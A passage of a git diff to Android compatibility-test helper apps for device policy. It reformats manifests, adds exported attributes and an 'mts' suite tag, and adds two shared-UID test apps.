     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".SimpleActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="*/*" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
index 3bdecab..6709447 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
@@ -14,25 +14,26 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.sharingapps.sharingapp2">
+     package="com.android.cts.sharingapps.sharingapp2">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".SimpleActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="*/*" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index c654642..3a822af 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -25,6 +25,9 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
+    // V4 signature required by Incremental installs
+    v4_signature: true,
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index a25a1ee..d79c22c 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -16,83 +16,98 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launcherapps.simpleapp">
+     package="com.android.cts.launcherapps.simpleapp">
 
     <uses-permission android:name="android.permission.READ_CALENDAR"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application>
-        <activity android:name=".SimpleActivity" >
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".NonExportedActivity">
-            android:exported="false">
+                        android:exported=&quot;false&quot;&gt;
         </activity>
         <activity android:name=".NonLauncherActivity">
-            android:exported="true">
+                        android:exported=&quot;true&quot;&gt;
         </activity>
         <activity android:name=".SimpleActivityStartService"
-            android:turnScreenOn="true"
-            android:excludeFromRecents="true"
-            android:exported="true" />
-        <activity android:name=".SimpleActivityStartFgService" android:exported="true" />
-        <activity android:name=".SimpleActivityImmediateExit" >
+             android:turnScreenOn="true"
+             android:excludeFromRecents="true"
+             android:exported="true"/>
+        <activity android:name=".SimpleActivityStartFgService"
+             android:exported="true"/>
+        <activity android:name=".SimpleActivityImmediateExit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".SimpleActivityChainExit" >
+        <activity android:name=".SimpleActivityChainExit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service android:name=".SimpleService" android:exported="true">
+        <service android:name=".SimpleService"
+             android:exported="true">
         </service>
-        <service android:name=".SimpleService2" android:exported="true" android:process=":other">
+        <service android:name=".SimpleService2"
+             android:exported="true"
+             android:process=":other">
         </service>
-        <service android:name=".SimpleService3" android:exported="true" />
+        <service android:name=".SimpleService3"
+             android:exported="true"/>
 
-        <service android:name=".SimpleService4" android:exported="true">
+        <service android:name=".SimpleService4"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service android:name=".SimpleService5" android:exported="true" android:process=":remote">
+        <service android:name=".SimpleService5"
+             android:exported="true"
+             android:process=":remote">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service android:name=".SimpleService6" android:exported="true"
-                android:isolatedProcess="true">
+        <service android:name=".SimpleService6"
+             android:exported="true"
+             android:isolatedProcess="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <receiver android:name=".SimpleReceiverStartService" android:exported="true">
+        <receiver android:name=".SimpleReceiverStartService"
+             android:exported="true">
         </receiver>
-        <receiver android:name=".SimpleReceiver" android:exported="true">
+        <receiver android:name=".SimpleReceiver"
+             android:exported="true">
         </receiver>
-        <receiver android:name=".SimpleRemoteReceiver" android:process=":receiver"
-                  android:exported="true">
+        <receiver android:name=".SimpleRemoteReceiver"
+             android:process=":receiver"
+             android:exported="true">
         </receiver>
-        <provider android:name=".SimpleProvider" android:process=":remote"
-                  android:authorities="com.android.cts.launcherapps.simpleapp.provider"
-                  android:exported="false" >
+        <provider android:name=".SimpleProvider"
+             android:process=":remote"
+             android:authorities="com.android.cts.launcherapps.simpleapp.provider"
+             android:exported="false">
         </provider>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
     @Override
     public void onStart() {
         super.onStart();
+        Log.i(TAG, "Starting SimpleActivityImmediateExit.");
         finish();
     }
 
     @Override
     protected void onStop() {
         super.onStop();
+        Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
         // Notify any listener that this activity is about to end now.
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_EXIT_ACTION);
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index f17a192..dbf0ffc 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -28,5 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
index 85962a1..e111a1d 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
@@ -16,20 +16,20 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launcherapps.simplepremapp">
+     package="com.android.cts.launcherapps.simplepremapp">
 
     <uses-sdk android:targetSdkVersion="21"/>
 
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
 
     <application>
-        <activity android:name=".SimpleActivity" >
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index 3ddae9d..2327596 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -28,5 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
index 7c38b6d..782b25e 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
@@ -16,65 +16,65 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms.simplesmsapp">
+     package="android.telephony.cts.sms.simplesmsapp">
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="SimpleSmsApp">
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name="android.telephony.cts.sms.SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name="android.telephony.cts.sms.MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
         <activity android:name="android.app.Activity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name="android.telephony.cts.sms.HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.telephony.cts.sms.simplesmsapp">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.telephony.cts.sms.simplesmsapp">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index 83588f6..a0a7ac3 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -36,5 +36,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
index daf7862..c35bef1 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -15,20 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.singleadmin">
+     package="com.android.cts.devicepolicy.singleadmin">
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
@@ -37,6 +36,6 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.devicepolicy.singleadmin"
-        android:label="Managed Profile CTS Tests (Single admin receiver)"/>
+         android:targetPackage="com.android.cts.devicepolicy.singleadmin"
+         android:label="Managed Profile CTS Tests (Single admin receiver)"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index 153fd44..2bfbf45 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -37,6 +37,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp1/AndroidManifest.xml",
 }
@@ -62,6 +63,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp2/AndroidManifest.xml",
 }
@@ -87,6 +89,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp3/AndroidManifest.xml",
 }
@@ -112,6 +115,31 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp4/AndroidManifest.xml",
 }
+
+android_test_helper_app {
+    name: "SharedUidApp1",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "SharedUidApp2",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
new file mode 100644
index 0000000..141c8af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp1"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
new file mode 100644
index 0000000..c978c86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp2"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
index ca2a8be..9a321f2 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testapps.testapp1">
+     package="com.android.cts.testapps.testapp1">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-            android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
index b6f934c..111cf20 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp2">
+     package="com.android.cts.testapps.testapp2">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
index e9b824a..541a6b2 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp3">
+     package="com.android.cts.testapps.testapp3">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
index ae8adec..5d08e7b 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp4">
+     package="com.android.cts.testapps.testapp4">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index cde29f5..9998a48 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -28,5 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
index 28f4a52..f63f46e 100644
--- a/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
 /*
  * Copyright 2020, The Android Open Source Project
@@ -17,27 +18,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testime">
+     package="com.android.cts.testime">
     <application android:label="Test IME">
         <service android:name="TestIme"
-                android:permission="android.permission.BIND_INPUT_METHOD">
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data android:name="android.view.im" android:resource="@xml/method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
         </service>
-        <activity android:name=".ImePreferences" android:label="Test IME Settings">
+        <activity android:name=".ImePreferences"
+             android:label="Test IME Settings"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.testime">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.testime">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
deleted file mode 100644
index 4d6a2e3..0000000
--- a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
+++ /dev/null
@@ -1,31 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "TestLauncher",
-    defaults: ["cts_defaults"],
-    srcs: ["src/**/*.java"],
-    static_libs: [
-        "cts-devicepolicy-suspensionchecker",
